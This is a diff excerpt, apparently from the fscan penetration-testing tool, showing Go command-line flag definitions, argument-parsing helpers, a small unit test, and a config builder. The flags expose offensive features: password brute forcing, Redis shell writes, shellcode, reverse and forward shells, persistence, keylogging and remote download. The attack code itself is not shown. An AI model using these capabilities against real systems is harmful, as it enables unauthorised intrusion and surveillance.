flag.IntVar(&fv.PocNum, "num", 20, i18n.GetText("flag_poc_num"))
|
||||
flag.BoolVar(&fv.DisablePocScan, "nopoc", false, i18n.GetText("flag_no_poc"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// Redis利用参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.RedisFile, "rf", "", i18n.GetText("flag_redis_file"))
|
||||
flag.StringVar(&fv.RedisShell, "rs", "", i18n.GetText("flag_redis_shell"))
|
||||
flag.StringVar(&fv.RedisWritePath, "rwp", "", i18n.GetText("flag_redis_write_path"))
|
||||
flag.StringVar(&fv.RedisWriteContent, "rwc", "", i18n.GetText("flag_redis_write_content"))
|
||||
flag.StringVar(&fv.RedisWriteFile, "rwf", "", i18n.GetText("flag_redis_write_file"))
|
||||
flag.BoolVar(&fv.DisableRedis, "noredis", false, i18n.GetText("flag_disable_redis"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 暴力破解控制参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.BoolVar(&fv.DisableBrute, "nobr", false, i18n.GetText("flag_disable_brute"))
|
||||
flag.IntVar(&fv.MaxRetries, "retry", 3, i18n.GetText("flag_max_retries"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 发包频率控制参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.Int64Var(&fv.PacketRateLimit, "rate", 0, i18n.GetText("flag_packet_rate_limit"))
|
||||
flag.Int64Var(&fv.MaxPacketCount, "maxpkts", 0, i18n.GetText("flag_max_packet_count"))
|
||||
flag.Float64Var(&fv.ICMPRate, "icmp-rate", 0.1, i18n.GetText("flag_icmp_rate"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 输出与显示控制参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.Outputfile, "o", "result.txt", i18n.GetText("flag_output_file"))
|
||||
flag.StringVar(&fv.OutputFormat, "f", "txt", i18n.GetText("flag_output_format"))
|
||||
flag.BoolVar(&fv.DisableSave, "no", false, i18n.GetText("flag_disable_save"))
|
||||
flag.BoolVar(&fv.Silent, "silent", false, i18n.GetText("flag_silent_mode"))
|
||||
flag.BoolVar(&fv.NoColor, "nocolor", false, i18n.GetText("flag_no_color"))
|
||||
flag.StringVar(&fv.LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level"))
|
||||
flag.BoolVar(&fv.Debug, "debug", false, i18n.GetText("flag_debug"))
|
||||
flag.BoolVar(&fv.DisableProgress, "nopg", false, i18n.GetText("flag_disable_progress"))
|
||||
flag.BoolVar(&fv.PerfStats, "perf", false, i18n.GetText("flag_perf_stats"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 其他参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
|
||||
flag.StringVar(&fv.ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target"))
|
||||
flag.IntVar(&fv.Socks5ProxyPort, "start-socks5", 0, i18n.GetText("flag_start_socks5_server"))
|
||||
flag.IntVar(&fv.ForwardShellPort, "fsh-port", 4444, i18n.GetText("flag_forward_shell_port"))
|
||||
flag.StringVar(&fv.PersistenceTargetFile, "persistence-file", "", i18n.GetText("flag_persistence_file"))
|
||||
flag.StringVar(&fv.WinPEFile, "win-pe", "", i18n.GetText("flag_win_pe_file"))
|
||||
flag.StringVar(&fv.KeyloggerOutputFile, "keylog-output", "keylog.txt", i18n.GetText("flag_keylogger_output"))
|
||||
|
||||
// 文件下载插件参数
|
||||
flag.StringVar(&fv.DownloadURL, "download-url", "", i18n.GetText("flag_download_url"))
|
||||
flag.StringVar(&fv.DownloadSavePath, "download-path", "", i18n.GetText("flag_download_path"))
|
||||
flag.StringVar(&fv.Language, "lang", "zh", i18n.GetText("flag_language"))
|
||||
|
||||
// 帮助参数
|
||||
flag.BoolVar(&fv.ShowHelp, "help", false, i18n.GetText("flag_help"))
|
||||
|
||||
// 解析命令行参数
|
||||
if err := parseCommandLineArgs(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 设置语言
|
||||
i18n.SetLanguage(fv.Language)
|
||||
|
||||
// 如果显示帮助或者没有提供目标,显示帮助信息并退出
|
||||
if fv.ShowHelp || shouldShowHelp(Info, fv) {
|
||||
flag.Usage()
|
||||
return ErrShowHelp
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// parseCommandLineArgs 解析命令行参数
|
||||
func parseCommandLineArgs() error {
|
||||
if err := flag.CommandLine.Parse(normalizeMultiValueFlagArgs(os.Args[1:], "-pwda")); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 显示Banner
|
||||
Banner()
|
||||
|
||||
// 检查参数冲突
|
||||
return checkParameterConflicts()
|
||||
}
|
||||
|
||||
func normalizeMultiValueFlagArgs(args []string, names ...string) []string {
|
||||
multiValueFlags := make(map[string]struct{}, len(names))
|
||||
for _, name := range names {
|
||||
multiValueFlags[name] = struct{}{}
|
||||
}
|
||||
|
||||
normalized := make([]string, 0, len(args))
|
||||
for i := 0; i < len(args); i++ {
|
||||
arg := args[i]
|
||||
name, value, ok := splitMultiValueFlag(arg, multiValueFlags)
|
||||
if !ok {
|
||||
normalized = append(normalized, arg)
|
||||
continue
|
||||
}
|
||||
|
||||
values := []string{}
|
||||
if value != "" {
|
||||
values = append(values, value)
|
||||
}
|
||||
|
||||
j := i + 1
|
||||
for ; j < len(args); j++ {
|
||||
if strings.HasPrefix(args[j], "-") {
|
||||
break
|
||||
}
|
||||
values = append(values, args[j])
|
||||
}
|
||||
i = j - 1
|
||||
|
||||
if strings.Contains(arg, "=") {
|
||||
normalized = append(normalized, name+"="+strings.Join(values, ","))
|
||||
} else {
|
||||
normalized = append(normalized, name)
|
||||
if len(values) > 0 {
|
||||
normalized = append(normalized, strings.Join(values, ","))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return normalized
|
||||
}
|
||||
|
||||
func splitMultiValueFlag(arg string, names map[string]struct{}) (string, string, bool) {
|
||||
if _, ok := names[arg]; ok {
|
||||
return arg, "", true
|
||||
}
|
||||
|
||||
for name := range names {
|
||||
prefix := name + "="
|
||||
if strings.HasPrefix(arg, prefix) {
|
||||
return name, strings.TrimPrefix(arg, prefix), true
|
||||
}
|
||||
}
|
||||
|
||||
return "", "", false
|
||||
}
|
||||
|
||||
// preProcessLanguage 预处理语言参数,在定义flag之前设置语言
|
||||
func preProcessLanguage() {
|
||||
// 遍历命令行参数查找-lang参数
|
||||
for i, arg := range os.Args {
|
||||
if arg == "-lang" && i+1 < len(os.Args) {
|
||||
lang := os.Args[i+1]
|
||||
if lang == "en" || lang == "zh" {
|
||||
flagVars.Language = lang
|
||||
i18n.SetLanguage(lang)
|
||||
return
|
||||
}
|
||||
} else if strings.HasPrefix(arg, "-lang=") {
|
||||
lang := strings.TrimPrefix(arg, "-lang=")
|
||||
if lang == "en" || lang == "zh" {
|
||||
flagVars.Language = lang
|
||||
i18n.SetLanguage(lang)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 检查环境变量
|
||||
envLang := os.Getenv("FS_LANG")
|
||||
if envLang == "en" || envLang == "zh" {
|
||||
flagVars.Language = envLang
|
||||
i18n.SetLanguage(envLang)
|
||||
}
|
||||
}
|
||||
|
||||
// shouldShowHelp 检查是否应该显示帮助信息
|
||||
func shouldShowHelp(Info *HostInfo, fv *FlagVars) bool {
|
||||
// Web模式不需要目标参数
|
||||
if WebMode {
|
||||
return false
|
||||
}
|
||||
|
||||
// 检查是否提供了扫描目标
|
||||
hasTarget := Info.Host != "" || fv.TargetURL != "" || fv.HostsFile != "" || fv.URLsFile != ""
|
||||
|
||||
// 本地模式不需要目标主机
|
||||
if fv.LocalPlugin != "" {
|
||||
return false
|
||||
}
|
||||
|
||||
// -m 指定的全是本地插件时也不需要目标
|
||||
if IsLocalMode != nil && IsLocalMode(fv.ScanMode) {
|
||||
return false
|
||||
}
|
||||
|
||||
// 如果没有提供任何扫描目标,则显示帮助
|
||||
return !hasTarget
|
||||
}
|
||||
|
||||
// checkParameterConflicts 检查参数冲突和兼容性
|
||||
// 返回error而不是调用os.Exit,让调用者决定如何处理
|
||||
func checkParameterConflicts() error {
|
||||
fv := flagVars
|
||||
|
||||
// -debug 等价于 -log debug
|
||||
if fv.Debug {
|
||||
fv.LogLevel = LogLevelDebug
|
||||
}
|
||||
|
||||
// 检查 -ao 和 -m icmp 同时指定的情况(向后兼容提示)
|
||||
if fv.AliveOnly && fv.ScanMode == "icmp" {
|
||||
LogInfo(i18n.GetText("param_conflict_ao_icmp_both"))
|
||||
}
|
||||
|
||||
// 检查本地插件参数
|
||||
if fv.LocalPlugin != "" {
|
||||
// 检查是否包含分隔符(确保只能指定单个插件)
|
||||
invalidChars := []string{",", ";", " ", "|", "&"}
|
||||
for _, char := range invalidChars {
|
||||
if strings.Contains(fv.LocalPlugin, char) {
|
||||
return fmt.Errorf("%s", i18n.Tr("param_local_multi_plugin", char))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"reflect"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestNormalizeMultiValueFlagArgs(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
args []string
|
||||
want []string
|
||||
}{
|
||||
{
|
||||
name: "space separated pwda values",
|
||||
args: []string{"-h", "192.168.1.1", "-pwda", "pass1", "pass2", "pass3", "-m", "ssh"},
|
||||
want: []string{"-h", "192.168.1.1", "-pwda", "pass1,pass2,pass3", "-m", "ssh"},
|
||||
},
|
||||
{
|
||||
name: "equals form with extra values",
|
||||
args: []string{"-pwda=pass1", "pass2", "-h", "192.168.1.1"},
|
||||
want: []string{"-pwda=pass1,pass2", "-h", "192.168.1.1"},
|
||||
},
|
||||
{
|
||||
name: "unrelated args unchanged",
|
||||
args: []string{"-h", "192.168.1.1", "-m", "ssh"},
|
||||
want: []string{"-h", "192.168.1.1", "-m", "ssh"},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := normalizeMultiValueFlagArgs(tt.args, "-pwda")
|
||||
if !reflect.DeepEqual(got, tt.want) {
|
||||
t.Fatalf("normalizeMultiValueFlagArgs() = %#v, want %#v", got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,227 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/config"
|
||||
)
|
||||
|
||||
/*
|
||||
flag_config.go - 命令行参数直接解析到Config
|
||||
|
||||
flag直接写入配置结构。
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// FlagVars - 命令行参数原始值
|
||||
// =============================================================================
|
||||
|
||||
// FlagVars 存储命令行解析的原始值
|
||||
// 某些字段需要类型转换(如 int64 秒 → time.Duration)
|
||||
type FlagVars struct {
|
||||
// 目标配置
|
||||
Host string
|
||||
ExcludeHosts string
|
||||
ExcludeHostsFile string
|
||||
Ports string
|
||||
ExcludePorts string
|
||||
AddPorts string
|
||||
HostsFile string
|
||||
PortsFile string
|
||||
|
||||
// 扫描控制
|
||||
ScanMode string
|
||||
ThreadNum int
|
||||
ModuleThreadNum int
|
||||
TimeoutSec int64 // 秒,需转换为 time.Duration
|
||||
GlobalTimeout int64
|
||||
DisablePing bool
|
||||
DisableTcpProbe bool
|
||||
LocalPlugin string
|
||||
AliveOnly bool
|
||||
DisableBrute bool
|
||||
MaxRetries int
|
||||
|
||||
// 认证凭据
|
||||
Username string
|
||||
Password string
|
||||
AddUsers string
|
||||
AddPasswords string
|
||||
UsersFile string
|
||||
PasswordsFile string
|
||||
UserPassFile string
|
||||
HashFile string
|
||||
HashValue string
|
||||
Domain string
|
||||
SSHKeyPath string
|
||||
|
||||
// Web扫描
|
||||
TargetURL string
|
||||
URLsFile string
|
||||
Cookie string
|
||||
UserAgent string
|
||||
Accept string
|
||||
WebTimeout int64 // 秒
|
||||
MaxRedirects int
|
||||
HTTPProxy string
|
||||
Socks5Proxy string
|
||||
Iface string
|
||||
|
||||
// POC测试
|
||||
PocPath string
|
||||
PocName string
|
||||
PocFull bool
|
||||
DNSLog bool
|
||||
PocNum int
|
||||
DisablePocScan bool
|
||||
|
||||
// Redis利用
|
||||
RedisFile string
|
||||
RedisShell string
|
||||
RedisWritePath string
|
||||
RedisWriteContent string
|
||||
RedisWriteFile string
|
||||
DisableRedis bool
|
||||
|
||||
// 发包频率
|
||||
PacketRateLimit int64
|
||||
MaxPacketCount int64
|
||||
ICMPRate float64
|
||||
|
||||
// 输出控制
|
||||
Outputfile string
|
||||
OutputFormat string
|
||||
DisableSave bool
|
||||
Silent bool
|
||||
NoColor bool
|
||||
LogLevel string
|
||||
Debug bool
|
||||
DisableProgress bool
|
||||
PerfStats bool
|
||||
Language string
|
||||
|
||||
// 高级功能
|
||||
Shellcode string
|
||||
ReverseShellTarget string
|
||||
Socks5ProxyPort int
|
||||
ForwardShellPort int
|
||||
PersistenceTargetFile string
|
||||
WinPEFile string
|
||||
KeyloggerOutputFile string
|
||||
DownloadURL string
|
||||
DownloadSavePath string
|
||||
|
||||
// 帮助
|
||||
ShowHelp bool
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 全局 FlagVars 实例(仅在解析阶段使用)
|
||||
// =============================================================================
|
||||
|
||||
var flagVars = &FlagVars{}
|
||||
|
||||
// GetFlagVars 获取解析后的命令行参数(供 parse.go 等使用)
|
||||
func GetFlagVars() *FlagVars {
|
||||
return flagVars
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// BuildConfigFromFlags - 从 FlagVars 构建 Config
|
||||
// =============================================================================
|
||||
|
||||
// BuildConfigFromFlags 从命令行参数构建配置对象
|
||||
func BuildConfigFromFlags(fv *FlagVars) *Config {
|
||||
return &Config{
|
||||
// 高频字段
|
||||
Timeout: time.Duration(fv.TimeoutSec) * time.Second,
|
||||
ThreadNum: fv.ThreadNum,
|
||||
ModuleThreadNum: fv.ModuleThreadNum,
|
||||
DisableBrute: fv.DisableBrute,
|
||||
DisablePing: fv.DisablePing,
|
||||
DisableTcpProbe: fv.DisableTcpProbe,
|
||||
|
||||
// 扫描模式
|
||||
Mode: fv.ScanMode,
|
||||
LocalMode: fv.LocalPlugin != "",
|
||||
LocalPlugin: fv.LocalPlugin,
|
||||
AliveOnly: fv.AliveOnly,
|
||||
MaxRetries: fv.MaxRetries,
|
||||
|
||||
// 高级功能
|
||||
Shellcode: fv.Shellcode,
|
||||
LocalPluginsList: nil, // 后续解析
|
||||
DNSLog: fv.DNSLog,
|
||||
PersistenceTargetFile: fv.PersistenceTargetFile,
|
||||
WinPEFile: fv.WinPEFile,
|
||||
PortMap: config.DefaultPortMap,
|
||||
DefaultMap: config.DefaultProbeMap,
|
||||
|
||||
// SOCKS5代理端口
|
||||
Socks5ProxyPort: fv.Socks5ProxyPort,
|
||||
|
||||
// 分组配置
|
||||
Credentials: CredentialConfig{
|
||||
Username: fv.Username,
|
||||
Password: fv.Password,
|
||||
Domain: fv.Domain,
|
||||
Userdict: config.DefaultUserDict,
|
||||
Passwords: config.DefaultPasswords,
|
||||
UserPassPairs: nil, // 后续解析
|
||||
SSHKeyPath: fv.SSHKeyPath,
|
||||
},
|
||||
Network: NetworkConfig{
|
||||
HTTPProxy: fv.HTTPProxy,
|
||||
Socks5Proxy: fv.Socks5Proxy,
|
||||
Iface: fv.Iface,
|
||||
WebTimeout: time.Duration(fv.WebTimeout) * time.Second,
|
||||
MaxRedirects: fv.MaxRedirects,
|
||||
PacketRateLimit: fv.PacketRateLimit,
|
||||
MaxPacketCount: fv.MaxPacketCount,
|
||||
ICMPRate: fv.ICMPRate,
|
||||
},
|
||||
Output: OutputConfig{
|
||||
File: fv.Outputfile,
|
||||
Format: fv.OutputFormat,
|
||||
DisableSave: fv.DisableSave,
|
||||
NoColor: fv.NoColor,
|
||||
Silent: fv.Silent,
|
||||
DisableProgress: fv.DisableProgress,
|
||||
ShowProgress: !fv.DisableProgress,
|
||||
LogLevel: fv.LogLevel,
|
||||
Language: fv.Language,
|
||||
PerfStats: fv.PerfStats,
|
||||
},
|
||||
POC: POCConfig{
|
||||
PocPath: fv.PocPath,
|
||||
PocName: fv.PocName,
|
||||
Full: fv.PocFull,
|
||||
Num: fv.PocNum,
|
||||
Disabled: fv.DisablePocScan,
|
||||
},
|
||||
Redis: RedisConfig{
|
||||
Disabled: fv.DisableRedis,
|
||||
File: fv.RedisFile,
|
||||
Shell: fv.RedisShell,
|
||||
WritePath: fv.RedisWritePath,
|
||||
WriteContent: fv.RedisWriteContent,
|
||||
WriteFile: fv.RedisWriteFile,
|
||||
},
|
||||
HTTP: HTTPConfig{
|
||||
Cookie: fv.Cookie,
|
||||
UserAgent: fv.UserAgent,
|
||||
Accept: fv.Accept,
|
||||
},
|
||||
LocalExploit: LocalExploitConfig{
|
||||
ReverseShellTarget: fv.ReverseShellTarget,
|
||||
ForwardShellPort: fv.ForwardShellPort,
|
||||
KeyloggerOutputFile: fv.KeyloggerOutputFile,
|
||||
DownloadURL: fv.DownloadURL,
|
||||
DownloadSavePath: fv.DownloadSavePath,
|
||||
},
|
||||
Target: TargetConfig{
|
||||
Ports: fv.Ports,
|
||||
ExcludePorts: fv.ExcludePorts,
|
||||
},
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user